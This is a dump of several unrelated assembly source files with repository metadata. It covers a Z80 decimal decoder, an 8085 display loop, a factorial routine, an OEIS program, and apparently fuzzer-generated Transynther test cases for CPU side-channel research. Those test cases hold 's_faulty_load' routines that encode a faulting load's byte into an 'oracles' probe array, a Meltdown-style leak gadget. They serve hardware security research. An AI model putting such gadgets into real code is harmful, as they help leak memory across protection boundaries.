jr Allocate8KBank.Internal ; Rest of deallocate is the same as the allocate routine
pend
DecimalDigits proc Table:
; Multipler Index Digits
dw 1 ; 0 1
dw 10 ; 1 2
dw 100 ; 2 3
dw 1000 ; 3 4
dw 10000 ; 4 5
pend
DecodeDecimalProc proc ; IN: b = digit count
ld hl, 0 ; OUT: hl = return value (0..65535)
ld (Total), hl
DigitLoop: ld a, b
dec a
add a, a
ld hl, DecimalDigits.Table
add hl, a
ld e, (hl)
inc hl
ld d, (hl) ; de = digit multiplier (1, 10, 100, 1000, 10000)
ld (DigitMultiplier), de
DecimalBuffer equ $+1: ld hl, SMC
inc hl
ld (DecimalBuffer), hl
ld a, (hl)
sub '0' ; a = digit 0..9 (could also be out of range)
exx
ld hl, 0
or a
jp z, DontAdd
MultiplyLoop:
DigitMultiplier equ $+2:add hl, SMC ; Next-only opcode
dec a
jp nz, MultiplyLoop
DontAdd:
Total equ $+2: add hl, SMC ; Next-only opcode
ld (Total), hl
exx
djnz DigitLoop ; Repeat until no more digits left (b = 0..5)
ld hl, (Total) ; hl = return value (0..65535)
ret
pend
| 52.689655 | 121 | 0.418848 |
585d83dbdfec2ea7b046f52eaeea235c84b77b42 | 7,772 | asm | Assembly | Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_5797_39.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_5797_39.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_5797_39.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xc, %rsi
lea addresses_WC_ht+0x1306c, %rdi
clflush (%rdi)
nop
sub $28391, %r11
mov $25, %rcx
rep movsl
nop
nop
nop
nop
nop
add $38509, %rdi
lea addresses_WC_ht+0x88c, %rax
nop
nop
add %rbp, %rbp
mov $0x6162636465666768, %r11
movq %r11, (%rax)
nop
nop
nop
nop
nop
dec %r11
lea addresses_WC_ht+0xd66c, %rsi
lea addresses_normal_ht+0x12cec, %rdi
clflush (%rdi)
nop
nop
nop
nop
and %rdx, %rdx
mov $84, %rcx
rep movsw
nop
nop
and %rbp, %rbp
lea addresses_normal_ht+0xec90, %rcx
nop
nop
nop
nop
sub $45040, %rdx
movups (%rcx), %xmm2
vpextrq $1, %xmm2, %rax
and $53494, %rdx
lea addresses_D_ht+0x42ec, %rcx
nop
nop
sub %rdi, %rdi
mov (%rcx), %ax
nop
nop
nop
nop
nop
and %r11, %r11
lea addresses_A_ht+0x846c, %rcx
inc %rdi
mov (%rcx), %rdx
nop
nop
nop
nop
nop
inc %r11
lea addresses_normal_ht+0x12d5e, %rsi
nop
nop
nop
nop
nop
xor $2533, %rax
mov $0x6162636465666768, %r11
movq %r11, %xmm7
and $0xffffffffffffffc0, %rsi
vmovaps %ymm7, (%rsi)
inc %rcx
lea addresses_D_ht+0x1c5a4, %rsi
nop
inc %r11
mov (%rsi), %cx
nop
nop
add $29133, %r11
lea addresses_normal_ht+0x1b2ec, %rsi
lea addresses_WT_ht+0x11b0, %rdi
nop
nop
nop
nop
cmp $22037, %rax
mov $74, %rcx
rep movsw
nop
cmp $57415, %r11
lea addresses_A_ht+0x1652c, %rsi
lea addresses_D_ht+0x6b6c, %rdi
clflush (%rdi)
nop
nop
dec %r11
mov $14, %rcx
rep movsl
nop
add %r11, %r11
lea addresses_WT_ht+0x86c, %rax
dec %rbp
mov (%rax), %dx
nop
nop
nop
xor $4880, %rsi
lea addresses_WT_ht+0x13b18, %rcx
nop
nop
nop
xor %rdi, %rdi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
movups %xmm3, (%rcx)
nop
nop
nop
nop
nop
add $29526, %r11
lea addresses_D_ht+0x70ec, %r11
nop
cmp $61163, %rax
mov (%r11), %rbp
nop
nop
nop
nop
nop
cmp $29679, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %r9
push %rax
push %rbp
push %rdx
push %rsi
// Load
lea addresses_A+0x15c6c, %rsi
nop
nop
nop
cmp %r10, %r10
mov (%rsi), %r8w
nop
nop
nop
sub %rsi, %rsi
// Store
mov $0x46c, %r9
nop
nop
nop
nop
sub $1882, %rdx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm2
vmovups %ymm2, (%r9)
nop
nop
nop
nop
xor %r8, %r8
// Faulty Load
lea addresses_US+0x346c, %rsi
nop
and %rax, %rax
movb (%rsi), %dl
lea oracles, %r9
and $0xff, %rdx
shlq $12, %rdx
mov (%r9,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'58': 5797}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 32.655462 | 2,999 | 0.656073 |
d8af5de6c0a8c0dac3c6f8efc22daf6f18be1bf6 | 111 | asm | Assembly | Sem4/AEIE_LAB/ROLL_7-SEGMENT.asm | SOUMEE2000/Heritage-CSE-Codes | 040d4e4c8d8f2b92ad74bd373243611d912c6a91 | [
"Apache-2.0"
] | null | null | null | Sem4/AEIE_LAB/ROLL_7-SEGMENT.asm | SOUMEE2000/Heritage-CSE-Codes | 040d4e4c8d8f2b92ad74bd373243611d912c6a91 | [
"Apache-2.0"
] | null | null | null | Sem4/AEIE_LAB/ROLL_7-SEGMENT.asm | SOUMEE2000/Heritage-CSE-Codes | 040d4e4c8d8f2b92ad74bd373243611d912c6a91 | [
"Apache-2.0"
] | null | null | null | ORG 2000H
MVI A, 80H
OUT 83H
L1: MVI A, 3FH
OUT 80H
MVI A, 5BH
OUT 81H
MVI A, 66H
OUT 82H
JMP L1
END | 10.090909 | 14 | 0.630631 |
c0506f7f993379b0bb1ee54329b1b12d1d2aa8a6 | 349 | asm | Assembly | arch/lib/math/fact.asm | Mosseridan/Compiler-Principles | 6c72a462b90ca6c6db380976c2aa60471fa65325 | [
"MIT"
] | null | null | null | arch/lib/math/fact.asm | Mosseridan/Compiler-Principles | 6c72a462b90ca6c6db380976c2aa60471fa65325 | [
"MIT"
] | null | null | null | arch/lib/math/fact.asm | Mosseridan/Compiler-Principles | 6c72a462b90ca6c6db380976c2aa60471fa65325 | [
"MIT"
] | null | null | null | /* fact.asm
* Compute the factorial function recursively: R0 <- factorial(ARG0)
*
* Programmer: Mayer Goldberg, 2010
*/
FACT:
MOV(R1, STARG(0));
CMP(R1, IMM(0));
JUMP_EQ(L_FACT_ZERO);
DECR(R1);
PUSH(R1);
CALL(FACT);
POP(R1); /* pop arg (N-1) to fact */
MUL(R0, STARG(0));
RETURN;
L_FACT_ZERO:
MOV(R0, IMM(1));
RETURN;
| 17.45 | 68 | 0.604585 |
9ba92df77e7c6927392aa3946b427ff7693c080a | 762 | asm | Assembly | oeis/055/A055244.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/055/A055244.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/055/A055244.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A055244: Number of certain stackings of n+1 squares on a double staircase.
; Submitted by Jamie Morken(s4)
; 1,1,3,6,12,23,43,79,143,256,454,799,1397,2429,4203,7242,12432,21271,36287,61739,104791,177476,299978,506111,852457,1433593,2407443,4037454,6762708,11314391,18909139,31569799,52657247,87751624,146111758,243090847,404132957,671381621,1114602747,1849230354,3066167256,5080977751,8415059303,13929531491,23045999527,38110434188,62992745618,104074394879,171874667473,283727804401,468188740899,772281556374,1273421577372,2099019424919,3458708573563,5697311860927,9381871868207,15444619025296,25417777623382
mov $1,4
mov $3,$0
lpb $0
sub $0,1
add $1,1
mov $2,$1
sub $3,2
add $3,$0
add $1,$3
mov $3,$2
add $3,4
lpe
mov $0,$1
div $0,5
add $0,1
| 38.1 | 501 | 0.783465 |
88acb4145436ae63fccd000efcba5f392e6c6059 | 8,572 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1538.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1538.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1538.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xc5de, %r12
nop
nop
nop
nop
nop
add %r8, %r8
mov (%r12), %esi
nop
dec %rbx
lea addresses_D_ht+0x1d9bc, %rbp
nop
cmp %r14, %r14
mov (%rbp), %r9w
nop
nop
and $2974, %r14
lea addresses_A_ht+0x11b7c, %rsi
lea addresses_normal_ht+0x36e0, %rdi
clflush (%rsi)
nop
add %r14, %r14
mov $6, %rcx
rep movsb
add $5496, %rbx
lea addresses_WT_ht+0x16f3c, %rsi
and $10614, %r8
vmovups (%rsi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r9
nop
xor %rcx, %rcx
lea addresses_A_ht+0xe8fc, %rbp
nop
nop
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %r9
movq %r9, %xmm0
movups %xmm0, (%rbp)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x1db7c, %rsi
lea addresses_WC_ht+0x1677c, %rdi
nop
nop
nop
and %r14, %r14
mov $43, %rcx
rep movsl
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0xe37c, %rsi
lea addresses_WC_ht+0x1d62c, %rdi
nop
nop
nop
sub $6712, %rbp
mov $68, %rcx
rep movsw
nop
sub $2344, %rbx
lea addresses_WC_ht+0x1ec8c, %rbp
nop
nop
nop
nop
cmp $5923, %r14
mov $0x6162636465666768, %r9
movq %r9, (%rbp)
nop
cmp %r14, %r14
lea addresses_WC_ht+0x3e7c, %rsi
clflush (%rsi)
nop
nop
xor $7246, %rcx
movl $0x61626364, (%rsi)
nop
nop
nop
nop
and $60569, %rsi
lea addresses_WT_ht+0x1af7c, %rdi
cmp %rbx, %rbx
movb (%rdi), %r14b
cmp %rbp, %rbp
lea addresses_WT_ht+0x1027c, %rbp
dec %rcx
mov (%rbp), %rsi
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0xddc4, %rsi
lea addresses_D_ht+0xdefc, %rdi
nop
nop
nop
nop
nop
cmp $23657, %r14
mov $21, %rcx
rep movsl
nop
nop
inc %r8
lea addresses_D_ht+0xd73c, %r12
nop
nop
nop
nop
add $36028, %r9
mov (%r12), %r8d
nop
nop
nop
sub $47898, %rbp
lea addresses_WT_ht+0x380, %rsi
lea addresses_WT_ht+0x19ecc, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
mov $69, %rcx
rep movsw
nop
nop
nop
nop
add $46932, %r9
lea addresses_WC_ht+0x677c, %rbx
nop
nop
xor %rsi, %rsi
mov (%rbx), %di
nop
nop
nop
nop
nop
xor $43815, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_PSE+0x1c84c, %rax
nop
nop
nop
nop
nop
add $60663, %r8
movw $0x5152, (%rax)
nop
cmp %rbp, %rbp
// REPMOV
lea addresses_US+0x16d36, %rsi
mov $0x69ea7b00000004bc, %rdi
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov $101, %rcx
rep movsb
nop
xor $9683, %rbp
// Store
lea addresses_RW+0x39af, %rbp
nop
nop
nop
nop
nop
inc %rsi
movl $0x51525354, (%rbp)
nop
xor %rcx, %rcx
// Faulty Load
lea addresses_PSE+0x677c, %rax
dec %rdx
movups (%rax), %xmm0
vpextrq $0, %xmm0, %rsi
lea oracles, %rdx
and $0xff, %rsi
shlq $12, %rsi
mov (%rdx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_US', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_NC', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'src': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 31.630996 | 2,999 | 0.65469 |
98243b6c2ae8f155264349378a46450315f2a1b2 | 6,782 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_1742.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_1742.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_1742.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xf682, %rsi
lea addresses_D_ht+0x17d00, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub %r9, %r9
mov $72, %rcx
rep movsl
nop
nop
nop
cmp %rbp, %rbp
lea addresses_D_ht+0xff06, %r8
clflush (%r8)
nop
nop
nop
nop
nop
dec %rax
mov (%r8), %di
nop
nop
inc %rcx
lea addresses_A_ht+0x1dd02, %rsi
lea addresses_A_ht+0x9382, %rdi
nop
add $30105, %r9
mov $90, %rcx
rep movsq
xor $30201, %rbp
lea addresses_WT_ht+0x19f02, %rsi
lea addresses_WT_ht+0x12802, %rdi
nop
add $46586, %r8
mov $41, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %rsi
lea addresses_WT_ht+0x14dc2, %r8
sub %rcx, %rcx
movl $0x61626364, (%r8)
nop
xor $15411, %rdi
lea addresses_UC_ht+0x3482, %r9
nop
nop
nop
add %rbp, %rbp
movb $0x61, (%r9)
nop
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x2c02, %rsi
lea addresses_WC_ht+0x19a02, %rdi
nop
and %r14, %r14
mov $24, %rcx
rep movsl
nop
nop
nop
and %r8, %r8
lea addresses_A_ht+0x127c2, %rsi
lea addresses_WC_ht+0x6302, %rdi
nop
nop
cmp $48391, %r8
mov $127, %rcx
rep movsb
nop
and %rcx, %rcx
lea addresses_WT_ht+0x1c6f6, %rsi
lea addresses_WC_ht+0x15c02, %rdi
nop
nop
nop
nop
nop
